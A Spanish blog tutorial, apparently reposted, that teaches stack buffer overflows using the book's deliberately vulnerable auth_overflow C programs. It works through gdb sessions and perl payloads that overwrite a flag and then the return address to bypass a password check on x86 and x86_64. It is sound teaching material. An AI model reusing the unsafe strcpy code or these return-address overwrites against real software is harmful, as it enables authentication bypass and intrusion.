sábado, 28 de julio de 2012

ElBaúlDelProgramador - Explotación – Buffers OverFlows y exploits (Parte I)

ElBaúlDelProgramador - Explotación – Buffers OverFlows y exploits (Parte I)

Link to El Baúl del Programador

Explotación – Buffers OverFlows y exploits (Parte I)

Posted: 27 Jul 2012 08:12 AM PDT

La explotación de programas es un elemento básico del hacking. Un programa está compuesto de un conjunto de reglas complejas siguiendo un flujo de ejecución que dice al ordenador qué hacer. Explotar un programa es una forma inteligente de conseguir que el ordenador haga lo que tú quieras, incluso si dicho programa no se diseñó para hacerlo. – The art of Exploitation, Capítulo 3

El libro Hacking: The Art of Exploitation, es un libro que recomiendo a todo aquel interesado en aprender temas sobre seguridad informática, yo estoy aprendiendo mucho.

Esta va a ser la primera de unas 3 o 4 entradas en las que voy a explicar cómo aprovecharse de los buffers overflows en los programas para modificar su comportamiento, e incluso conseguir el control total de la máquina.

Vamos a comenzar con un programa simple, que reciba como parámetro una cadena a modo de contraseña. El programa está sacado del libro, no es mio:

auth_overflow.c

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  
#include <stdio.h>  #include <stdlib.h>  #include <string.h>     int check_authentication(char *password) {  	int auth_flag = 0;  	char password_buffer[16];     	strcpy(password_buffer, password);     	if(strcmp(password_buffer, "brillig") == 0)  		auth_flag = 1;  	if(strcmp(password_buffer, "outgrabe") == 0)  		auth_flag = 1;     	return auth_flag;  }     int main(int argc, char *argv[]) {  	if(argc &lt; 2) {  		printf("Usage: %s \n", argv[0]);  		exit(0);  	}  	if(check_authentication(argv[1])) {  		printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");  		printf("      Acceso concedido.\n");  		printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");  	} else {  		printf("\nAcceso denegado.\n");     }  }

No parece que el programa tenga ningún error, admite dos contraseñas (brillig y outgrabe), vamos a probarlo:

hkr-> ./auth_overflow.binary contraseña     Acceso denegado.
hkr-> ./auth_overflow.binary brillig     -=-=-=-=-=-=-=-=-=-=-=-=-=-        Acceso concedido.  -=-=-=-=-=-=-=-=-=-=-=-=-=-
hkr-> ./auth_overflow.binary AAAAAAAAAAAAAAAAAAAAAAAAAAAAA     -=-=-=-=-=-=-=-=-=-=-=-=-=-        Acceso concedido.  -=-=-=-=-=-=-=-=-=-=-=-=-=-

¿Qué ha pasado?, vamos a echar un vistazo con gdb:

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  
gdb -q auth_overflow.c.binary  Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".  (gdb) b 9  Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.  (gdb) b 16  Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.  (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  Starting program: /home/hkr/booksrc/auth_overflow.c.binary  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA     Breakpoint 1, check_authentication (password=0xbffff9f4 'A' <repeats 36 times>)      at auth_overflow.c:9  9               strcpy(password_buffer, password);  (gdb) x/s password_buffer  0xbffff7d0:      ")����o��\b���)\205\004\b�o������\b"  (gdb) x/x &auth_flag  0xbffff7ec:     0x00000000  (gdb) print 0xbffff7ec - 0xbffff7d0  $1 = 28  (gdb) x/16xw password_buffer  0xbffff7d0:     0xb7f9f729      0xb7fd6ff4      0xbffff808      0x08048529  0xbffff7e0:     0xb7fd6ff4      0xbffff8a0      0xbffff808      0x00000000  0xbffff7f0:     0xb7ff47b0      0x08048510      0xbffff808      0x080484bb  0xbffff800:     0xbffff9f4      0x08048510      0xbffff868      0xb7eafebc  (gdb)

Abrimos el programa con el depurador y ponemos puntos de ruptura en las líneas 9 y 16. Despues lo ejecutamos pasándole como argumento una cadena con Aes. Al llegar al primer punto de ruptura, examinamos la variable password_buffer, que hasta ahora solo contiene basura. Examinamos la variable auth_flag y vemos que contiene un cero. Luego restamos las direcciones de ambas variables, averiguando así la distancia entre ellas, en este caso auth_flag está 28 bytes despues de password_buffer. Veamos qué podemos hacer con esto:

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  
(gdb) c  Continuing.     Breakpoint 2, check_authentication (password=0xbffff9f4 'A' <repeats 36 times>)      at auth_overflow.c:16  16              return auth_flag;  (gdb) x/s password_buffer  0xbffff7d0:      'A' <repeats 36 times>  (gdb) x/x &auth_flag  0xbffff7ec:     0x41414141  (gdb) x/16xw password_buffer  0xbffff7d0:     0x41414141      0x41414141      0x41414141      0x41414141  0xbffff7e0:     0x41414141      0x41414141      0x41414141      (0x41414141)  0xbffff7f0:     0x41414141      0x08048500      0xbffff808      0x080484bb  0xbffff800:     0xbffff9f4      0x08048510      0xbffff868      0xb7eafebc  (gdb) x/4cb &auth_flag  0xbffff7ec:     65 'A'  65 'A'  65 'A'  65 'A'  (gdb) x/dw &auth_flag  0xbffff7ec:     1094795585

En el siguiente punto de rutpura, volvemos a examinar las variables y se puede apreciar que la variable password_buffer se ha desbordado, ya que tenía capacidad para 16 caracteres, y hemos intentado guardar 36. Si vemos el contenido de auth_flag ya no tiene un cero, si no 0×41414141, lo cual corresponde a cuatro Aes (41 en hexadecimal es el código ASCII de la A). Se puede apreciar claramente cómo se ha desbordado el array en la instrucción x/16xw password_buffer, el valor encerrado entre paréntesis es el de la variable auth_flag, el cual se ha sobreescrito. Por último vemos que el valor en decimal de 0×41414141 es 1094795585.

1  2  3  4  5  6  7  8  
(gdb) c  Continuing.     -=-=-=-=-=-=-=-=-=-=-=-=-=-        Acceso concedido.  -=-=-=-=-=-=-=-=-=-=-=-=-=-     Program exited with code 034.

Continuamos con la ejecución y nos da acceso a pesar de que no hemos introducido la contraseña correcta. Esto es debido a que hemos sobreescrito la variable auth_flag, por lo tanto, la función check_authentication devolverá el valor 0×41414141, 1094795585 en decimal.

Sin embargo esto ha funcionado ha consecuencia de la colocación de las variables en memoria. ¿Qué pasaría si auth_flag y password_buffer estuvieran declaradas al revés?:

auth_overflow2.c

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  
#include <stdio.h>  #include <stdlib.h>  #include <string.h>     int check_authentication(char *password) {  	char password_buffer[16];          int auth_flag = 0;     	strcpy(password_buffer, password);     	if(strcmp(password_buffer, "brillig") == 0)  		auth_flag = 1;  	if(strcmp(password_buffer, "outgrabe") == 0)  		auth_flag = 1;     	return auth_flag;  }     int main(int argc, char *argv[]) {  	if(argc &lt; 2) {  		printf("Usage: %s \n", argv[0]);  		exit(0);  	}  	if(check_authentication(argv[1])) {  		printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");  		printf("      Acceso concedido.\n");  		printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");  	} else {  		printf("\nAcceso denegado.\n");     }  }

Al estar declaradas en este orden, no podemos modificar la variable auth_flag desbordando el buffer:

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  
gdb -q auth_overflow2.c.binary  Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".  (gdb) b 9  Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.  (gdb) b 16  Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.  (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  Starting program: /home/hkr/booksrc/auth_overflow2.c.binary  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA     Breakpoint 1, check_authentication (password=0xbffff9f8 'A' <repeats 30 times>)      at auth_overflow2.c:9  9               strcpy(password_buffer, password);  (gdb) x/s password_buffer  0xbffff7e0:  "�o������\b����o���G��\020\205\004\b\b����\204\004\b����\020\205\004\bh�������\002"  (gdb) x/x &auth_flag  0xbffff7dc:     0x00000000  (gdb) x/16xw &auth_flag  0xbffff7dc:     0x00000000      0xb7fd6ff4      0xbffff8a0      0xbffff808  0xbffff7ec:     0xb7fd6ff4      0xb7ff47b0      0x08048510      0xbffff808  0xbffff7fc:     0x080484bb      0xbffff9f8      0x08048510      0xbffff868  0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0  (gdb) c  Continuing.     Breakpoint 2, check_authentication (password=0xbffff9f8 'A' <repeats 30 times>)      at auth_overflow2.c:16  16              return auth_flag;  (gdb) x/s password_buffer  0xbffff7e0:      'A' <repeats 30 times>  (gdb) x/x &auth_flag  0xbffff7dc:     0x00000000  (gdb) x/16xw &auth_flag  0xbffff7dc:     (0x00000000)    0x41414141      0x41414141      0x41414141  0xbffff7ec:     0x41414141      0x41414141      0x41414141      0x41414141  0xbffff7fc:     0x08004141      0xbffff9f8      0x08048510      0xbffff868  0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0  (gdb)

Seguimos pasos similares a los de antes, con la diferencia de que ahora auth_flag está situada en memoria antes que password_buffer, como podemos comprobar en la salida de x/16xw &auth_flag.

auth_flag está almacenada en la dirección 0xbffff7dc y su valor está entre paréntesis, password_buffer comienza inmediatamente despues en 0xbffff7e0.

Si terminamos la ejecución del programa nos encontraremos con esto:

1  2  3  4  5  
(gdb) c  Continuing.     Program received signal SIGSEGV, Segmentation fault.  0x08004141 in ?? ()

No hemos sobreescrito auth_flag, en su lugar hemos sobreescrito un punto crítico del programa que obliga a finalizar su ejecución inesperadamente.

Para entender lo que ha pasado es necesaria una breve explicación de cómo se forman los ejecutables. Durante la ejecución de un programa existe una estructura de datos llamada pila (o stack) que se usa para para mantener el flujo de ejecución de un programa y el contexto de las variables locales durante las llamadas a funciones. Cuando se realiza una llamada a una función, una estructura llamada cuadro de pila (stack frame) se introduce en la pila, y el registro EIP (Registro que apunta a la intrucción actual a ejecutar) salta a la primera línea de la función. Cuando ésta acaba, el registro EIP debe volver a apuntar a la siguiente instrucción despues de la llamada a la función, la dirección de dicha instrucción se guarda en el cuadro de pila de la función. En nuestro caso, cuando estamos en la función check_authtentication se guarda la dirección de retorno a la que apuntará EIP cuando finalize y vuelva al main. El error de segmentación que hemos obtenido a sido al sobreescribir dicha dirección de retorono al desbordar el buffer, con lo cual el programa salta a una dirección aleatoria y finaliza ya que se sale de su segmento.

Si echamos un vistazo código ensamblador de la función main podemos averiguar cual es la dirección que debe guardarse en el cuadro de pila de check_authtentication:

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  
(gdb) disass main  Dump of assembler code for function main:  0x08048474 <main+0>:    push   ebp  0x08048475 <main+1>:    mov    ebp,esp  0x08048477 <main+3>:    sub    esp,0x8  0x0804847a <main+6>:    and    esp,0xfffffff0  0x0804847d <main+9>:    mov    eax,0x0  0x08048482 <main+14>:   sub    esp,eax  0x08048484 <main+16>:   cmp    DWORD PTR [ebp+8],0x1  0x08048488 <main+20>:   jg     0x80484ab <main+55>  0x0804848a <main+22>:   mov    eax,DWORD PTR [ebp+12]  0x0804848d <main+25>:   mov    eax,DWORD PTR [eax]  0x0804848f <main+27>:   mov    DWORD PTR [esp+4],eax  0x08048493 <main+31>:   mov    DWORD PTR [esp],0x80485e5  0x0804849a <main+38>:   call   0x804831c <printf@plt>  0x0804849f <main+43>:   mov    DWORD PTR [esp],0x0  0x080484a6 <main+50>:   call   0x804833c <exit@plt>  0x080484ab <main+55>:   mov    eax,DWORD PTR [ebp+12]  0x080484ae <main+58>:   add    eax,0x4  0x080484b1 <main+61>:   mov    eax,DWORD PTR [eax]  0x080484b3 <main+63>:   mov    DWORD PTR [esp],eax  0x080484b6 <main+66>:   call   0x8048414 <check_authentication>  0x080484bb <main+71>:   test   eax,eax  0x080484bd <main+73>:   je     0x80484e5 <main+113>  0x080484bf <main+75>:   mov    DWORD PTR [esp],0x80485fb  0x080484c6 <main+82>:   call   0x804831c <printf@plt>  0x080484cb <main+87>:   mov    DWORD PTR [esp],0x8048619  0x080484d2 <main+94>:   call   0x804831c <printf@plt>  0x080484d7 <main+99>:   mov    DWORD PTR [esp],0x8048630  0x080484de <main+106>:  call   0x804831c <printf@plt>  0x080484e3 <main+111>:  jmp    0x80484f1 <main+125>  0x080484e5 <main+113>:  mov    DWORD PTR [esp],0x804864d  0x080484ec <main+120>:  call   0x804831c <printf@plt>  0x080484f1 <main+125>:  leave  0x080484f2 <main+126>:  ret  End of assembler dump.

0x080484b6 : call 0×8048414 es la llamada a la función, y está ubicada en 0x080484b6. Antes de hacer la llamada se crea el marco de pila y se guarda la dirección de retorno en la pila, la cual es 0x080484bb.

Volvamos a examinar el programa:

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  
gdb -q auth_overflow2.c.binary  Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".  (gdb) b 9  Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.  (gdb) b 16  Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.  (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  Starting program: /home/hkr/booksrc/auth_overflow2.c.binary  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA     Breakpoint 1, check_authentication (password=0xbffff9f8 'A' <repeats 30 times>)      at auth_overflow2.c:9  9               strcpy(password_buffer, password);  (gdb) x/s password_buffer  0xbffff7e0:  "�o������\b����o���G��\020\205\004\b\b����\204\004\b����\020\205\004\bh�������\002"  (gdb) x/x &auth_flag  0xbffff7dc:     0x00000000  (gdb) x/16xw &auth_flag  0xbffff7dc:     0x00000000      0xb7fd6ff4      0xbffff8a0      0xbffff808  0xbffff7ec:     0xb7fd6ff4      0xb7ff47b0      0x08048510      0xbffff808  0xbffff7fc:     0x080484bb      0xbffff9f8      0x08048510      0xbffff868  0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0  (gdb) c  Continuing.     Breakpoint 2, check_authentication (password=0xbffff9f8 'A' <repeats 30 times>)      at auth_overflow2.c:16  16              return auth_flag;  (gdb) x/s password_buffer  0xbffff7e0:      'A' <repeats 30 times>  (gdb) x/x &auth_flag  0xbffff7dc:     0x00000000  (gdb) x/16xw &auth_flag  0xbffff7dc:     (0x00000000)    0x41414141      0x41414141      0x41414141  0xbffff7ec:     0x41414141      0x41414141      0x41414141      0x41414141  0xbffff7fc:     0x08004141      0xbffff9f8      0x08048510      0xbffff868  0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0  (gdb)

Al examinar x/16xw &auth_flag podemos ver que en 0xbffff7fc está almacenada la dirección de retorno (0x080484bb), la cual sobreescribimos al desbordar el buffer como se vé en la salida de x/16xw &auth_flag tras ejecutar la instrucción strcpy(password_buffer, password); y almacenar una contraseña demasiado grande en un array demasiado pequeño

1  2  3  4  5  
(gdb) x/16xw &auth_flag  0xbffff7dc:     0x00000000      0x41414141      0x41414141      0x41414141  0xbffff7ec:     0x41414141      0x41414141      0x41414141      0x41414141  0xbffff7fc:     (0x08004141)    0xbffff9f8      0x08048510      0xbffff868  0xbffff80c:     0xb7eafebc      0x00000002      0xbffff894      0xbffff8a0

Entre paréntesis se observa cómo ha quedado machacada la dirección de retorno, con lo cual EIP intentará ejecutar la instrucción que haya en esa dirección aleatoria, provocando el fallo de segmentación.

¿Cómo podemos conseguir saltarnos la comprobación de la contraseña y que siempre nos de acceso?

Tenemos que sobreescribir la dirección de retorno con una dirección que nos convenga, veamos de nuevo la porción del main en ensamblador que nos interesa:

1  2  3  4  5  6  7  8  9  10  11  12  
0x080484b6 <main+66>:   call   0x8048414 <check_authentication>  0x080484bb <main+71>:   test   eax,eax  0x080484bd <main+73>:   je     0x80484e5 <main+113>  0x080484bf <main+75>:   mov    DWORD PTR [esp],0x80485fb  0x080484c6 <main+82>:   call   0x804831c <printf@plt>  0x080484cb <main+87>:   mov    DWORD PTR [esp],0x8048619  0x080484d2 <main+94>:   call   0x804831c <printf@plt>  0x080484d7 <main+99>:   mov    DWORD PTR [esp],0x8048630  0x080484de <main+106>:  call   0x804831c <printf@plt>  0x080484e3 <main+111>:  jmp    0x80484f1 <main+125>  0x080484e5 <main+113>:  mov    DWORD PTR [esp],0x804864d  0x080484ec <main+120>:  call   0x804831c <printf@plt>

Esta porción de código corresponde a:

1  2  3  4  5  6  
if(check_authentication(argv[1])) {  		printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");  		printf("      Acceso concedido.\n");  		printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");  	} else {  		printf("\nAcceso denegado.\n");

Las instrucciones del tipo mov DWORD PTR [esp], 0x…… son los argumentos para la función printf, inmediatamente despues da cada una de estas instrucciones se llama a la función con call 0x804831c <printf@plt>. Las intrucciones que comienzan con una j son saltos condicionales (je = jump if equal), y jmp es incodicional, es decir, sigue la ejecución por la dirección indicada si o sí, sin valorar ninguna condición. Observando un poco, nos damos cuenta que nos interesa sustituir la dirección de retorno para que se ejecute esta instrucción 0x080484bf : mov DWORD PTR [esp],0x80485fb, que corresponde con el primer printf. Y así saltarno la comprobación del if.

Para conseguir sustituir la dirección de retorno por la que nos interesa, vamos a desbordar el buffer con el valor de dicha dirección:

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  
gdb -q auth_overflow2.c.binary  Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".  (gdb) b 9  Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.  (gdb) b 16  Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.  (gdb) run $(perl -e 'print "\xbf\x84\x04\x08"'x8)  Starting program: /home/hkr/booksrc/auth_overflow2.c.binary $(perl -e  'print "\xbf\x84\x04\x08"'x8)     Breakpoint 1, check_authentication (      password=0xbffff9f6  "�\204\004\b�\204\004\b�\204\004\b�\204\004\b�\204\004\b�\204\004\b�\204\004\b�\204\004\b")  at auth_overflow2.c:9  9               strcpy(password_buffer, password);  (gdb) x/16x $esp  0xbffff7c0:     0x00000000      0x08049744      0xbffff7d8      0x080482d9  0xbffff7d0:     0xb7f9f729      0xb7fd6ff4      0xbffff808      0x00000000  0xbffff7e0:     0xb7fd6ff4      0xbffff8a0      0xbffff808      0xb7fd6ff4  0xbffff7f0:     0xb7ff47b0      0x08048510      0xbffff808      (0x080484bb)  (gdb) c  Continuing.     Breakpoint 2, check_authentication (password=0xbffff900  "��������I���i���v���\230�������")      at auth_overflow2.c:16  16              return auth_flag;  (gdb) x/16x $esp  0xbffff7c0:     0xbffff7e0      0x080485dc      0xbffff7d8      0x080482d9  0xbffff7d0:     0xb7f9f729      0xb7fd6ff4      0xbffff808      0x00000000  0xbffff7e0:     0x080484bf      0x080484bf      0x080484bf      0x080484bf  0xbffff7f0:     0x080484bf      0x080484bf      0x080484bf      (0x080484bf)  (gdb) c  Continuing.     -=-=-=-=-=-=-=-=-=-=-=-=-=-        Access Granted.  -=-=-=-=-=-=-=-=-=-=-=-=-=-     Program received signal SIGSEGV, Segmentation fault.  0xe8080485 in ?? ()

Experimentando un poco con gdb se descubre que repetir la dirección 8 veces es suficiente para sobreescribir la dirección de retorno original. El comando $(perl -e ‘print “\xbf\x84\x04\x08″‘x8) repite la dirección 8 veces, el motivo por el que hay que escribir la dirección al revés es porque internamente se almacenan las direcciones en little endian. En los resultados de arriba se puede ver como se sutituye la dirección de retorno 0x080484bb(entre paréntesis), por la deseada, 0x080484bf.

En arquitecturas x86_64

Si tenemos un procesador de 64-bits, el proceso es similar, aunque con gdb debemos usar la opción g junto al comando examine para que se muestren las direcciones enteras:

1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16  
(gdb) b 9  Breakpoint 1 at 0x40064f: file auth_overflow2.c, line 9.  (gdb) b 16  Breakpoint 2 at 0x40069a: file auth_overflow2.c, line 16.  (gdb) run $(perl -e 'print "\xee\x06\x40\x00\x00\x00\x00\x00"x10')  Starting program: /home/hkr/hack/auth_overflow2.c.binary $(perl -e 'print "\xee\x06\x40\x00\x00\x00\x00\x00"x10')     Breakpoint 1, check_authentication (password=0x7fffffffe74b "\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@") at auth_overflow2.c:9  9		strcpy(password_buffer, password);  (gdb) x/10xg $rsp  0x7fffffffe380:	0x00007fffffffe3bf	0x00007fffffffe74b  0x7fffffffe390:	0x0000000000000001	0x000000000040078d  0x7fffffffe3a0:	0x00007ffff7a65c48	0x0000000000400730  0x7fffffffe3b0:	0x00007fffffffe3d0	(0x00000000004006ea)  0x7fffffffe3c0:	0x00007fffffffe4b8	0x0000000200000000  (gdb)

En 32-bits el puntero de pila se llamaba ESP, en 64-bit es RSP. En este caso la dirección de retorno es 0x00000000004006ea. Desensamblando la función main como anteriormente, que la dirección de retorno que nos interesa es 0x00000000004006ee, igual que antes, usamos perl — $(perl -e ‘print “\xee\x06\x40\x00\x00\x00\x00\x00″x10′) — sobreescribiendo la dirección por la que nos interesa, quedando así:

1  2  3  4  5  6  7  8  9  10  11  
(gdb) c  Continuing.     Breakpoint 2, check_authentication (password=0x7fffffffe74b "\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@") at auth_overflow2.c:16  16		return auth_flag;  (gdb) x/10xg $rsp  0x7fffffffe380:	0x00007fffffffe3bf	0x00007fffffffe74b  0x7fffffffe390:	0x06ee4006ee4006ee	0xee4006ee4006ee40  0x7fffffffe3a0:	0x4006ee4006ee4006	0x00004006ee4006ee  0x7fffffffe3b0:	0x00007fffffffe3d0	(0x00000000004006ea)  0x7fffffffe3c0:	0x00007fffffffe4b8	0x0000000200000000

Aunque parece que no hemos sobreescrito la dirección de retorno, sí que lo hemos hecho, pero no se han escrito los ceros por la izquierda:

1  2  3  4  5  6  7  8  9  10  11  12  
(gdb) c  Continuing.     Breakpoint 2, check_authentication (password=0x7fffffffe74b "\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@\356\006@") at auth_overflow2.c:16  16		return auth_flag;  (gdb) c  Continuing.     -=-=-=-=-=-=-=-=-=-=-=-=-=-        Access Granted.  -=-=-=-=-=-=-=-=-=-=-=-=-=-  [Inferior 1 (process 3699) exited with code 034]

Para comprobar que sí que se sobreescribe, vamos a introducir una dirección sin ceros:

1  2  3  4  5  6  7  8  9  10  11  
(gdb) run $(perl -e 'print "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"x10')  Breakpoint 2, check_authentication (      password=0x7fffffffe719 "\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252")      at auth_overflow2.c:16  16		return auth_flag;  (gdb) x/10xg $rsp  0x7fffffffe380:	0x00007fffffffe38f	0x00007fffffffe719  0x7fffffffe390:	0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa  0x7fffffffe3a0:	0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa  0x7fffffffe3b0:	0xaaaaaaaaaaaaaaaa	(0xaaaaaaaaaaaaaaaa)  0x7fffffffe3c0:	0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa

En estos casos no nos es muy util el buffer overflow, ya que solo podemos saltar a porciones del código existente, en entradas posteriores, veremos cómo conseguir una shell root.

Espero que os haya gustado.

Follow Me:
TwitterFacebookLinkedInGoogle PlusStumbleUponYouTube

Related posts:

  1. Disponible la primera parte del curso Android en PDF Como vengo anunciando desde hace unos días, ya está terminado...


No hay comentarios:

Publicar un comentario

Sigue todas las entradas por email